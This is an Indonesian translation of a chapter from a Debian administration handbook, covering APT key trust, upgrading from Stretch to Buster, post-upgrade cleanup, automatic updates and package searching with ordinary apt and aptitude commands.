APT memerlukan sekumpulan kunci publik GnuPG tepercaya untuk memverifikasi tanda tangan di berkas InRelease dan Release.gpg yang tersedia di mirror. Itu mendapatkannya dari berkas di /etc/apt/trusted.gpg.d/ dan dari ring kunci /etc/apt/trusted.gpg (dikelola oleh apt-key). Kunci resmi Debian disediakan dan selalu diperbarui oleh paket debian-archive-keyring yang menempatkannya di /etc/apt/trusted.gpg.d/. Namun, perhatikan bahwa penginstalan pertama paket khusus ini memerlukan kehati-hatian: meskipun paket tersebut ditandatangani seperti yang lain, tanda tangan tidak dapat diverifikasi secara eksternal. Oleh karena itu, administrator yang berhati-hati harus memeriksa sidik jari dari kunci yang diimpor sebelum mempercayai mereka untuk menginstal paket baru:

# apt-key fingerprint

/etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg

----------------------------------------------------------

pub   rsa4096 2019-04-14 [SC] [expires: 2027-04-12]

80D1 5823 B7FD 1561 F9F7  BCDD DC30 D7C2 3CBB ABEE

uid           [ unknown] Debian Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>

sub   rsa4096 2019-04-14 [S] [expires: 2027-04-12]

/etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg

-------------------------------------------------------------------

pub   rsa4096 2019-04-14 [SC] [expires: 2027-04-12]

5E61 B217 265D A980 7A23  C5FF 4DFA B270 CAA9 6DFA

uid           [ unknown] Debian Security Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>

sub   rsa4096 2019-04-14 [S] [expires: 2027-04-12]

/etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg

-------------------------------------------------------

pub   rsa4096 2019-02-05 [SC] [expires: 2027-02-03]

6D33 866E DD8F FA41 C014  3AED DCC9 EFBF 77E1 1517

uid           [ unknown] Debian Stable Release Key (10/buster) <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg

----------------------------------------------------------

pub   rsa4096 2014-11-21 [SC] [expires: 2022-11-19]

126C 0D24 BD8A 2942 CC7D  F8AC 7638 D044 2B90 D010

uid           [ unknown] Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg

-------------------------------------------------------------------

pub   rsa4096 2014-11-21 [SC] [expires: 2022-11-19]

D211 6914 1CEC D440 F2EB  8DDA 9D6D 8F6B C857 C906

uid           [ unknown] Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg

-------------------------------------------------------

pub   rsa4096 2013-08-17 [SC] [expires: 2021-08-15]

75DD C3C4 A499 F1A1 8CB5  F3C8 CBF8 D6FD 518E 17E1

uid           [ unknown] Jessie Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg

-----------------------------------------------------------

pub   rsa4096 2017-05-22 [SC] [expires: 2025-05-20]

E1CF 20DD FFE4 B89E 8026  58F1 E0B1 1894 F66A EC98

uid           [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>

sub   rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg

--------------------------------------------------------------------

pub   rsa4096 2017-05-22 [SC] [expires: 2025-05-20]

6ED6 F5CB 5FA6 FB2F 460A  E88E EDA0 D238 8AE2 2BA9

uid           [ unknown] Debian Security Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>

sub   rsa4096 2017-05-22 [S] [expires: 2025-05-20]

/etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg

--------------------------------------------------------

pub   rsa4096 2017-05-20 [SC] [expires: 2025-05-18]

067E 3C45 6BAE 240A CEE8  8F6F EF0F 382A 1A7B 6500

uid           [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>

PRAKTEKNYA Menambahkan kunci terpercaya

Ketika sumber paket pihak ketiga ditambahkan ke berkas sources.list, APT perlu diberitahu untuk memercayai kunci otentikasi GPG yang sesuai (sebaliknya dia akan tetap menggerutu bahwa dia tidak dapat memastikan keaslian paket yang datang dari repositori tersebut). Langkah pertama tentu saja untuk mendapatkan kunci publik. Lebih sering, kunci akan disediakan sebagai berkas teks kecil, yang akan kita namai key.asc pada contoh berikut.

Untuk menambahkan kunci ke ring kunci tepercaya, administrator dapat sekadar memasukkannya ke dalam berkas *.asc di /etc/apt/trusted.gpg.d/. Hal ini didukung sejak Debian Stretch. Dengan rilis lama, Anda harus menjalankan apt-key add < key.asc.

Sekali kunci yang sesuai ada di keyring, APT akan memeriksa tanda-tangan sebelum ada beberapa operasi beresiko, jadi front-end akan menampilkan sebuah peringatan jika diminta untuk menginstall sebuah paket yang otentitasnya tidak dapat ditetapkan.

6.7. Upgrade dari Satu Distribusi Stable ke Berikutnya

Salah satu fitur yang paling terkenal adalah kemampuannya untuk mengupgrade sistem terinstall dari satu rilis stable ke rilis berikutnya: dist-upgrade — istilah yang mashur — besar kontribusinya terhadap reputasi rroyek. Dengan sedikit tindakan pencegahan, mengupgrade sebuah komputer dapat membutuhkan waktu beberapa menit, atau belasan menit, tergantung kecepatan unduh dari repositori paket.

6.7.1. Prosedur yang Direkomendasikan

Karena Debian memiliki beberapa waktu untuk evolusi antara rilis stable, Anda harus membaca catatan rilis sebelum melakukan upgrade.

KEMBALI KE DASAR Catatan rilis

Catatan rilis untuk sebuah sistem operasi (dan, lebih umum, untuk perangkat lunak) adalah sebuah dokumen yang memberikan gambaran perangkat lunak, dengan beberapa rincian mengenai fakta suatu versi. Dokumen ini biasanya berupa perbandingan singkat ke dokumentasi lengkapnya, dan mereka biasanya terdapat daftar fitur yang telah diperkenalkan sejak versi sebelumnya. Mereka juga memberikan rincian tentang prosedur upgrade, peringatan untuk penggunan versi sebelumnya, dan terkadang berupa ralat.

Catatan rilis tersedia daring: catatan rilis untuk rilis stable terkini memiliki URL dedicated, sedangkan rilis sebelumnya dapat ditemukan dengan nama kode mereka:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/stretch/releasenotes

Pada bagian ini, kita akan fokus mengupgrade sistem Stretch ke Buster. Ini adalah operasi utama pada sebuah sistem; seperti, ini tak pernah 100% bebas-resiko, dan jangan dicoba sebelum semua data-data penting telah dibackup.

Kebiasaan baik lainnya yang membuat upgrade lebih mudah (dan ringkas) adalah membereskan paket terinstall dan tersisa hanya yang diperlukan saja. Peralatan yang membantu untuk melakukan hal tersebua termasuk aptitude, deborphan dan debfoster (lihat Bagian 6.2.7, “Pelacakan Otomatis Paket Terinstall”). Misalnya, Anda dapat menggunakan perintah berikut, kemudian menggunakan mode interaktif aptitude untuk pemeriksaan ulang dan jadwal penghapusan yang rapih:

# deborphan | xargs aptitude --schedule-only remove

TIP Mencari berkas yang berubah

Perintah debsums dapat memeriksa apakah berkas pada sistem lokal, yang merupakan bagian dari paket yang diinstal, telah diubah. Ini menggunakan algoritma hashsum sederhana dan informasi dalam /var/lib/dpkg/info/package.md5sums (lihat Bagian 5.2.3, “Checksums, Daftar Berkas Konfigurasi”). Untuk menemukan semua berkas konfigurasi yang diubah gunakan debsums -ec. Untuk memeriksa seluruh sistem, gunakan debsums -c.

Sekarang untuk upgrade itu sendiri. Pertama, Anda perlu mengganti berkas /etc/apt/sources.list untuk memberitahu APT untuk mendapatkan paketnya dari Buster bukannya Stretch. Jika berkas tersebut hanya berisi referensi ke Stable bukan nama kode secara eksplisit, perubahan bahkan tidak diperlukan, karena Stable selalu merujuk ke rilis terbaru Debian. Dalam kedua kasus, basisdata paket tersedia harus disegarkan (dengan perintah apt update atau tombol segarkan di synaptic).

CATATAN Perubahan informasi repositori

Ketika versi stabil baru Debian dirilis, beberapa field dalam berkas Release dan InRelease dari suatu repositori berubah, seperti field Suite. Ketika ini terjadi, mengunduh data dari repositori ditolak sampai perubahan dikonfirmasi untuk memastikan pengguna siap untuk itu. Untuk mengonfirmasi perubahan, gunakan opsi --allow-releaseinfo-change atau --allow-releaseinfo-change-field untuk apt-get atau opsi konfigurasi Acquire::AllowReleaseInfoChange.

Ketika sumber paket baru ini telah terdaftar, Anda harus melakukan upgrade minimal terlebih dahulu dengan apt upgrade. Dengan melakukan upgrade dalam dua langkah, kita dapat memermudah pekerjaan peralatan manajer paket dan seringkali untuk memastikan bahwa kita memiliki versi terbarunya, yang mungkin memiliki kumpulan perbaikan kutu dan diperlukan perbaikan untuk melengkapi upgrade distribusi lengkap.

Sekali upgrade yang pertama ini selesai, sekarang waktunya untuk menangani upgrade itu sendiri, entah itu menggunakan apt full-upgrade, aptitude, atau synaptic. Anda harus berhati-hati memeriksa aksi yang disarankan sebelum menerapkannya: Anda mungkin ingin menambahkan paket yang disarankan atau tidak memilih paket yang hanya direkomendasikan dan diketahui tidak berguna. Apapun kasusnya, front-end harus muncul dengan sebuah skenario yang berakhir dengan sistem Buster yang koheren dan mutakhir. Kemudian, yang perlu Anda lakukan adalah menunggu ketika paket yang diperlukan diunduh, menjawab pertanyaan-pertanyaan debconf dan mungkin tentang berkas konfigurasi lokal yang telah dimodifikasi, dan duduklah ketika APT melakukan sulapnya.

6.7.2. Menangani Masalah setelah Pembaharuan

Dalam kegemasan usaha terbaik maintainer Debian, upgrade sistem utama tidak selalu selancar yang Anda inginkan. Versi terbaru perangkat lunak mungkin tidak cocok dengan versi sebelumnya (misalnya, perilaku bawaannya atau format data mereka mungkin berubah). Juga, beberapa kutu mungkin terselip oleh crack walaupun fase testing yang selalu mendahului rilis Debian.

Untuk mengantisipasi beberapa masalah ini, Anda dapat menginstall paket apt-listchanges, yang menampilkan informasi tentang kemungkinan masalah di permulaan upgrade paket. Informasi ini dikompilasi oleh maintainer paket Debian dan dimasukkan dalam berkas /usr/share/doc/paket/NEWS.Debian untuk memberi manfaat bagi pengguna. Membaca berkas perubahan ini (melalui apt-listchanges) akan membantu Anda menghindari kejutan buruk.

Anda mungkin terkadang menemukan bahwa versi baru sebuah perangkat lunak sama sekali tidak bekerja. Ini umumnya terjadi jika aplikasi tidak terlalu populer dan belum cukup dites; menit-terakhir pembaharuan dapat pula mengenalkan kemunduran yang hanya ditemukan setelah rilis stable. Dalam kedua kasus tersebut, hal pertama yang dilakukan adalah memeriksa sistem pelacakan kutu pada https://bugs.debian.org/paket, dan periksa apakah masalah tersebut telah dilaporkan. Bila ini yang terjadi, itu juga akan ditampilkan dalam daftar sebelum peningkatan dimulai, kalau Anda memasang apt-listbugs. Jika belum, Anda harus melaporkannya sendiri dengan reportbug. Jika telah diketahui, laporan kutu dan pesan yang berhubungan biasanya merupakan sumber informasi yang baik terkait kutu:

- terkadang sebuah patch telah ada, dan tersedia pada laporan kutu; Anda dapat mengompilasi ulang versi tetap paket yang rusak di lokal (lihat Bagian 15.1, “Membangun ulang sebuah Paket dari Source-nya”);

- dalam kasus lain, pengguna mungkin menemukan solusi masalah tersebut dan dibagi dalam penjelasannya dalam balasan ke laporan tersebut;

- dan dalam kasus lain, paket perbaikkan mungkin telah dipersiapkan dan tersedia secara publik oleh maintainer.

Tergantung pada keparahan kutu, versi terbaru paket mungkin telah dipersiapkan secara spesifik untuk revisi baru rilis stable. Ketika hal ini terjadi, paket perbaikan tersedia di bagian proposed-updates dari mirror Debian (lihat Bagian 6.1.2.3, “Pengajuan Pembaharuan”). Entri yang sesuai dapat ditambahkan sementara ke berkas sources.list, dan paket yang diperbaharui dapat diinstall dengan apt atau aptitude.

Terkadang paket yang diperbaiki belum tersedia di bagian ini karena tertunda validasi oleh Manajer Rilis Stable. Anda dapat memverifikasi apakah itu yang terjadi pada laman web mereka. Daftar paket belum tersedia, namun setidaknya Anda tahu bahwa proses publikasi sedang berjalan.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Membersihkan setelah Peningkatan

APT biasanya memastikan peningkatan yang bersih, menarik dependensi baru dan yang diperbarui, atau menghapus paket yang bertentangan. Tetapi bahkan alat yang hebat, itu tidak dapat mencakup semua tugas yang akan dihadapi pengguna dan administrator setelah peningkatan, karena mereka memerlukan keputusan manusia.

6.7.3.1. Paket-paket yang dihapus dari Arsip Debian

Kadang-kadang Debian FTP Masters menghapus paket dari arsip Debian, karena mengandung bug kritis rilis, ditinggalkan oleh penulis hulu mereka atau pengelola paket mereka, atau sekadar mencapai akhir hidup mereka. Dalam hal ini rilis Debian yang lebih baru tidak membawa paket itu lagi. Untuk menemukan semua paket, yang tidak memiliki sumber paket, gunakan perintah apt-show-versions:

$ apt-show-versions | grep "No available version"

Hasil serupa dapat dicapai dengan aptitude search ~o. Jika paket yang ditemukan tidak diperlukan lagi, mereka harus dibersihkan dari sistem, karena mereka tidak akan menghadapi pembaruan apa pun untuk bug terkait kritis atau keamanan lagi.

6.7.3.2. Paket-paket Transisi dan Dummy

Kadang-kadang, mungkin perlu untuk paket untuk mendapatkan nama baru. Dalam hal ini sering kali paket lama disimpan sebagai paket (hampir) kosong, bergantung pada yang baru dan hanya menginstal berkas wajib di /usr/share/doc/paket/. Paket tersebut disebut paket "dummy" atau "transitional". Jika pengelola paket yang bertanggung jawab juga mengubah bagian paket ini menjadi oldlibs, maka alat seperti aptitude, deborphan, atau debfoster (lihat sidebar ALTERNATIVE deborphan dan debfoster) dapat mengambil paket-paket ini untuk menyarankan penghapusan mereka.

Sayangnya saat ini tidak ada cara ampuh untuk memastikan bahwa paket ini secara otomatis dihapus atau dipilih oleh alat yang disebutkan di atas. Salah satu cara untuk memeriksa apakah sistem masih memiliki beberapa paket ini diinstal, adalah untuk melihat melalui deskripsi paket-paket yang diinstal dan kemudian memeriksa hasilnya. Berhati-hatilah untuk tidak menjadwalkan hasil untuk penghapusan otomatis, karena metode ini dapat menyebabkan positif palsu:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Karena paket baru ditarik sebagai ketergantungan paket transisi, biasanya ditandai sebagai diinstal secara otomatis dan mungkin dijadwalkan untuk penghapusan jika Anda mencoba untuk membersihkan paket transisi dari sistem Anda. Dalam hal ini Anda dapat menggunakan salah satu pendekatan yang dijelaskan di sidebar TIP Penghapusan dan instalasi pada saat yang sama dan Bagian 6.2.7, “Pelacakan Otomatis Paket Terinstall” untuk secara selektif menghapus paket transisi.

6.7.3.3. Berkas-berkas Konfigurasi Tak Terpakai atau Lama

Jika peningkatan berhasil mungkin ada beberapa konfigurasi berkas cruft, baik dari dpkg (lihat Bagian 5.2.3, “Checksums, Daftar Berkas Konfigurasi”), ucf atau dari paket dihapus. Yang terakhir dapat dibersihkan dengan menggunakan apt autoremove --purge. Berkas konfigurasi yang ditangani oleh dpkg atau ucf selama proses peningkatan telah meninggalkan beberapa rekan dengan akhiran khusus (mis. .dpkg-dist, .dpkg-old, .ucf-old). Menggunakan perintah find atau locate dapat membantu melacak mereka. Jika tidak lagi digunakan, mereka dapat dihapus.

6.7.3.4. Berkas yang tak dimiliki oleh sebarang Paket

Kebijakan Debian memberlakukan bahwa paket tidak meninggalkan berkas ketika mereka dibersihkan. Melanggar prinsip ini adalah bug serius dan Anda akan jarang menghadapinya. Jika Anda menemuinya, laporkan; dan jika Anda penasaran, Anda dapat menggunakan paket cruft atau cruft-ng untuk memeriksa sistem Anda untuk berkas yang tidak dimiliki oleh paket apa pun.

6.8. Menjaga agar Sistem Up to Date

Distro Debian adalah dinamis dan berubah terus-menerus. Perubahan yang paling sering adalah pada versi Testing dan Unstable, namun bahkan Stable diperbaharui dari waktu ke waktu, seringnya untuk perbaikan yang berhubungan dengan keamanan. Apapun versi Debian yang dijalankan sistem, umumnya merupakan ide yang bagus untuk menjaga tetap mutakhir, agar Anda mendapatkan manfaat evolusi terkini dan perbaikan kutu.

Tentu saja memungkinkan secara berkala menjalankan sebuah alat untuk memeriksa pembaharuan yang tersedia dan menjalankan upgrade, semacam tugas berulang yang membosankan, khususnya ketika perlu dijalankan pada beberapa mesin. Untungnya, seperti tugas berulang lainnya, sebagian dapat diotomatiskan, dan seperangkat alat telah dikembangkan untuk efek tersebut.

Yang pertama dari alat ini adalah apticron, dalam paket dengan nama yang sama. Efek utamanya adalah untuk menjalankan sebuah skrip tiap hari (via cron). Skrip tersebut memperbaharui daftar paket tersedia, dan, jika beberapa paket terinstall bukan merupakan versi terkini yang tersedia, dia mengirim sebuah surel dengan daftar paket ini bersama dengan perubahan yang mungkin telah dibuat pada versi terbarunya. Biasanya, paket ini kebanyakan menargetkan pengguna Debian Stable, karena surel harian mungkin akan sangat panjang untuk versi cepat Debian. Ketika pembaharuan tersedia, apticron mengunduhnya secara otomatis. Dia tidak menginstallnya - administrator tetap akan melakukannya - namun jika paket telah terunduh dan tersedia secara lokal (dalam cache APT) membuat pekerjaan lebih cepat.

Administrator yang bertugas pada beberapa komputer tidak akan ragu mengapresiasi informasi upgrade yang tertunda, namun upgrade itu sendiri masih membosankan sebagaimana seharusnya. Peningkatan berkala dapat difungsikan: itu memakai unit timer systemd atau cron. Bila systemd tidak dipasang, /etc/cron.daily/apt (dalam paket apt) hadir untuk memudahkan. Skrip ini dijalankan per hari (dan tak-interaktif) oleh cron. Untuk mengontrol perilakunya, gunakan variabel konfigurasi APT (yang tersimpan dalam sebuah berkas /etc/apt/apt.conf.d/10periodic). Variabel utamanya adalah:

APT::Periodic::Update-Package-Lists

Pilihan ini mengizinkan Anda untuk menentukan frekunsi (dalam hari) untuk menyegarkan daftar paket. Pengguna apticron dapat melakukannya tanpa variabel ini, karena apticron telah melakukan tugas ini.

APT::Periodic::Download-Upgradeable-Packages

Lagi, pilihan ini menentukan sebuah frekuensi (dalam hari), kali ini untuk mengunduh paket aktual. Lagi, pengguna apticron tidak memerlukannya.

APT::Periodic::AutocleanInterval

Pilihan ini mencakup fitur yyang tidak dimiliki apticron. Ini mengontrol bagaimana sering paket usang (yang tidak lagi dirujuk oleh distribusi apapun) dihapus dari cache APT. Ini menjaga cache APT pada ukuran yang berarti dan maknanya Anda tidak perlu khawatir terhadap tugas tersebut.

APT::Periodic::Unattended-Upgrade

Ketika pilihan ini diaktifkan, skrip harian akan mengeksekusi unattended-upgrade (dari paket unattended-upgrades) yang — seperti yang disarankan oleh namanya — dapat mengotomatisasi proses peningkatan untuk beberapa paket (secara bawaan hanya menangani pembaharuan keamanan, namun ini dapat dikostumisasi di /etc/apt/apt.conf.d/50unattended-upgrades). Catat bahwa pilihan ini dapat diatur dengan bantuan debconf dengan menjalankan dpkg-reconfigure -plow unattended-upgrades. Bila apt-listbugs terpasang, ini akan mencegah peningkatan otomatis paket-paket yang dipengaruhi oleh kutu serius atau parah yang telah dilaporkan.

Pilihan lain dapat mengizinkan Anda untuk mengontrol perilaku pembersihan singgahan dengan lebih seksama. Mereka tidak terdaftar di sini, namun mereka dijelaskan di skrip /usr/lib/apt/apt.systemd.daily.

Alat ini bekerja dengan baik untuk server, namun pengguna desktop umumnya lebih memilih sistem yang lebih interaktif. Paket gnome-software menyediakan ikon pada area notifikasi lingkunan desktop ketika pembaharuan tersedia; mengeklik ikon ini kemudian menjalankan antarmuka untuk melaksanakan pembaharuan. Anda dapat menjelajah paket pembaruan yang tersedia, membaca penjelasan singkat paket yang relevan dan entri changelog yang sesuai, dan memilih apakah menerapkan pembaharuan atau tidak, berdasarkan kasus-per-kasus.

Gambar 6.3. Pembaharuan dengan gpk-update-viewer

Alat ini tidak lagi diinstal di desktop GNOME default. Filosofi baru adalah bahwa pembaruan keamanan harus diinstal secara otomatis, baik di latar belakang atau, sebaiknya, ketika Anda mematikan komputer Anda agar tidak membingungkan aplikasi yang sedang berjalan.

6.9. Pembaharuan Otomatis

Karena Falcot Cort memiliki banyak komputer namun hanya terbatas kekuatan orang, administratornya mencoba untuk membuat upgrade seotomatis mungkin. Program yang bertugas pada proses ini harus dijalankan tanpa intervensi manusia.

6.9.1. Mengonfigurasi dpkg

Seperti yang telah kita sebutkan (lihat bilah tepi LEBIH JAUH Menghindari pertanyaan berkas konfigurasi), dpkg dapat diarahkan untuk tidak meminta konfirmasi ketika mengganti berkas konfigurasi (dengan pilihan --force-confdef --force-confold). Akan tetapi, interaksi dapat memiliki tiga sumber lain: beberapa datang dari APT itu sendiri, beberapa ditangai oleh debconf, dan beberapa terjadi di baris perintah karena skrip konfigurasi paket (kadang ditangani oleh ucf).

6.9.2. Mengonfigurasi APT

Kasus APT ini sederhana: pilihan -y (atau --assume-yes) memberitahu APT untuk memutuskan menjawab semua pertanyaannya dengan “ya”.

6.9.3. Mengonfigurasi debconf

Kasus debconf berhak lebih diperinci. Program ini, dari intersepsinya, didesain untuk mengontrol relevansi dan volume pertanyaan yang ditampilkan ke pengguna, sebagaimana cara mereka dimunculkan. Oleh karena itu, konfigurasinya meminta sebuah prioritas minimal untuk pertanyaan; hanya pertanyaan di atas prioritas minimal yang ditampilkan. debconf mengasumsikan jawaban standar (ditentukan oleh maintainer paket) untuk pertanyaan yang diputuskan untuk dilewati.

Elemen konfigurasi lainnya adalah antarmuka yang digunakan oleh front-end. Jika Anda memilih nontinteractive dari pilihan lain, seluruh interaksi pengguna dinonaktifkan. Jika sebuah paket mencoba menampilkan sebuah catatan informatif, ini akan dikirim ke administrator melalui surel.

Untuk mengonfigurasi ulang debconf, gunakan alat dpkg-reconfigure dari paket debconf; perintah yang relevan adalah dpkg-reconfigure debconf. Catat bahwa nilai konfigurasi dapat diabaikan sementara dengan variabel lingkungan ketika diperlukan (misalnya, DEBIAN_FRONTEND mengontrol antarmuka, sebagaimana didokumentasikan dalam laman manual debconf(7)).

6.9.4. Menangani Interaksi Baris Perintah

Sumber interaksi terakhir, dan yang paling sulit ditangani, adalah skrip konfigurasi dijalankan oleh dpkg. Sayangnya tidak ada solusi standar, dan tidak ada jawaban yang meliputi lebih baik dari lainnya.

Pendekatan umum adalah dengan menekan input standar dengan mengarahkan konten kosong /dev/null ke dalamnya dengan perintah </dev/null, atau memberi asupan stream baris baru tak berakhir. Tidak satupun metode ini yang 100 % handal, namun mereka umumnya mengarah pada digunakannya jawaban standar, karena kebanyakan skrip mengganggap ketiadaan jawaban sebagai penerimaan nilai baku.

6.9.5. Kombinasi Ajaib

Dengan mengombinasikan elemen sebelumnya, memungkinkan untuk mendesain skrip kecil yang lebih handal yang dapat menangani upgrade otomatis.

Contoh 6.5. Skrip pembaharuan non-interaktif

export DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

PRAKTEKNYA Kasus Falcot Corp

Komputer Falcot adalah sebuah sistem heterogen, dengan mesin yang memiliki fungsi bermacam-macam. Administrator dapat mengambil solusi yang relevan untuk setiap komputer.

Prakteknya, server yang menjalankan Buster dikonfigurasi dengan “kombinasi ajaib” di atas, dan terjaga up to date secara otomatis. Hanya server yang paling kritis (firewall, misalnya) diatur dengan apticron, agar upgrade selalu terjadi di bawah supervisi seorang administrator.

Workstation kantor dalam layanan administratif juga menjalankan Buster, namun mereka dilengkapi dengan gnome-packagekit, sehingga pengguna memicu sendiri upgrade. Alasan keputusan ini adalah bahwa bila upgrade terjadi tanpa aksi eksplisit, perilaku komputer mungkin berubah tanpa diharapkan, yang mungkin menimbulkan kebingungan untuk pengguna utama.

Di laboratorium, beberapa komputer menggunakan Testing — untuk memanfaatkan versi terakhir perangkat lunak - tidak diupgrade secara otomatis juga. Administrator hanya mengonfigurasi APT untuk menyiapkan upgrade namun tidak menerapkannya; ketika mereka memutuskan untuk upgrade (secara manual), bagian yang membosankan dari menyegarkan daftar paket dan mengunduh paket akan dihindari, dan administrator dapat fokus pada bagian yang benar-benar berguna.

6.10. Mencari Paket

Dengan pertumbuhan jumlah perangkat lunak yang besar di Debian, muncul paradox: Debian biasanya memiliki alat untuk kebanyakan tugas, namun alat itu dapat menjadi sangat sulit untuk di antara segudang paket lain. Kurangnya kesesuaian cara untuk mencari (dan menemukan) alat yang benar menjadi sebuah masalah sejak lama. Untungnya, masalah ini hampir sebagian besar telah teratasi.

Pencarian sepele yang paling mungkin adalah dengan mencari nama paket yang persis. Jika apt show paket mengembalikan sebuah hasil, maka paket tersebut ada. Sayangnya, ini memerlukan pengetahuan atau bahkan menebak nama paket, yang tidak selalu mungkin.

TIP Konvensi penamaan paket

Beberapa kategori paket dinamai berdasarkan bagan konvensi penamaan; mengetahui bagannya terkadang dapat mengizinkan Anda untuk menduga nama paket yang tepat. Misalnya, untuk modul Perl, konvensinya mengatakan sebuah modul disebut XML::Handler::Composer hulu harus dipaketkan sebagai libxml-handler-composer-perl. Pustaka yang mengaktifkan penggunaan sistem gconf dari Python dipaketkan sebagai python-gconf. Sayangnya tidak mungkin untuk menentukan bagan penamaan umum untuk seluruh paket, bahkan jika maintainer paket biasanya mencoba untuk mengikuti pilihan pengembang hulu.

Pola pencarian yang sedikit lebih sukses adalah pencarian teks-murni pada nama paket, namun ini sangat terbatas. Anda dapat menemukan hasil secara umum dengan mencari deskripsi paket: karena setiap paket memiliki lebih kurang rincian deskripsi tambahan pada nama paketnya, kata kunci pencarian pada deskripsinya seringkali akan berguna. apt-cache dan axi-cache merupakan pilihan alat untuk jenis pencarian ini (lihat ALTERNATIF axi-cache); misalnya, apt-cache search video akan menghasilkan daftar seluruh paket yang nama atau deskripsinya berisi kata kunci “video”.

Untuk pencarian yang lebih kompleks, diperlukan peralatan yang lebih powerful semacam aptitude. aptitude mengizinkan Anda untuk mencari berdasarkan ekspresi logis pada field meta-data paket. Misalnya, perintah berikut mencari paket yang namanya berisi kino, yang deskripsinya berisi video dan nama maintainernya berisi paul:

$ aptitude search kino~dvideo~mpaul

p   kino  - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

Version: 1.3.4+dfsg0-1

State: not installed

Priority: optional

Section: video

Maintainer: Paul Brossier <piem@debian.org>

Architecture: amd64

Uncompressed Size: 8,304 k

Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>= 0.5.3), libavcodec58 (>=

7:4.0) | libavcodec-extra58 (>= 7:4.0), libavformat58 (>= 7:4.0), libavutil56 (>= 7:4.0),

libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4 (>= 1.0.0), libfontconfig1 (>= 2.12.6),

libfreetype6 (>= 2.2.1), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0

(>= 1:2.6.4-2~), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.24.32), libice6 (>= 1:1.0.0),

libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0),

libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11, libsamplerate0

(>= 0.1.7), libsm6, libstdc++6 (>= 5.2), libswscale5 (>= 7:4.0), libx11-6, libxext6,

libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4)

Recommends: ffmpeg, curl

Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflicts: kino-dvtitler, kino-timfx, kinoplus

Replaces: kino-dvtitler, kino-timfx, kinoplus

Provides: kino-dvtitler, kino-timfx, kinoplus

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program

uses many keyboard commands for fast navigating and editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate

packages, are now provided with Kino.

Homepage: http://www.kinodv.org/

Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical,

interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk,

use::editing, use::learning, works-with::video, x11::application

Pencarian ini hanya menghasilkan satu paket, kino, yang memenuhi ketiga kriteria.

Bahkan pencarian banyak-kriteria tidak terlalu luas, yang menjelaskan mengapa mereka tidak digunakan sebanyak mereke seharusnya. Sistem pelabelan baru telah dikembangkan, dan ini menyediakan pendekatan baru ke pencarian. Paket diberi label (tag) yang menyediakan klasifikasi tematis bersama beberapa untai, diketahui dengan “klasifikasi berbasi-segi”. Dalam kasus kino di atas, tag paket menunjukkan bahwa kino adalah perangkat lunak berbasis-Gnome yang bekerja pada data video dan tujuan utamanya adalah penyuntingan.

Menjelajah klasifikasi ini dapat membantu Anda untuk mencari sebuah paket yang sesuai pada kebutuhan yang diketahui; bahkan jika menghasilkan sejumlah (sedang) hit, seluruh pencarian dapat dilakukan secara manual. Untuk melakukannya, Anda dapat menggunakan pola pencarian ~G pada aptitude, namun mungkin lebih mudah untuk menavigasi di situs di mana tag dikelola:

→ https://debtags.debian.org/

Memilih tag works-with::video dan use::editing menghasilkan segelintir paket, termasuk kino dan editor video pitivi. Sistem klasifikasi ini terkait untuk digunakan sesering mungkin seiring berjalannya waktu, dan manajer paket akan secara bertahap menyediakan antarmuka pencarian yang efisien berdasarkan hal ini.

Untuk menghitungnya, peralatan terbaik untuk pekerjaan tergantung pada kompleksitas pencarian yang ingin Anda lakukan:

- apt-cache hanya mengizinkan pencarian pada nama paket dan deskripsi, yang sangat nyaman ketika mencari beberapa paket yang cocok dengan target beberapa kata kunci;

- ketika kriteria pencaria juga menyertakan hubungan antara paket atau meta-data lain seperti nama maintainer, synaptic akan lebih berguna;

- ketika pencarian berbasis-tag diperlukan, alat yang baik ialah packagesearch, sebuah antarmuka grafis didedikasikan untuk mencari paket tersedia bersama dengan beberapa kriteria (termasuk nama berkas yang ada di dalamnya). Untuk penggunaan baris-perintah, axi-cache akan sesuai dengan permintaan.

- akhirnya, ketika pencarian melibatkan ekspresi yang kompleks dengan operasi logika, alat yang dipilih akan berupa pola sintaks pencarian aptitude, yang cukup powerful sekalipun menjadi semacam jelas; ini bekerja pada baris-perintah dan mode interaktif.

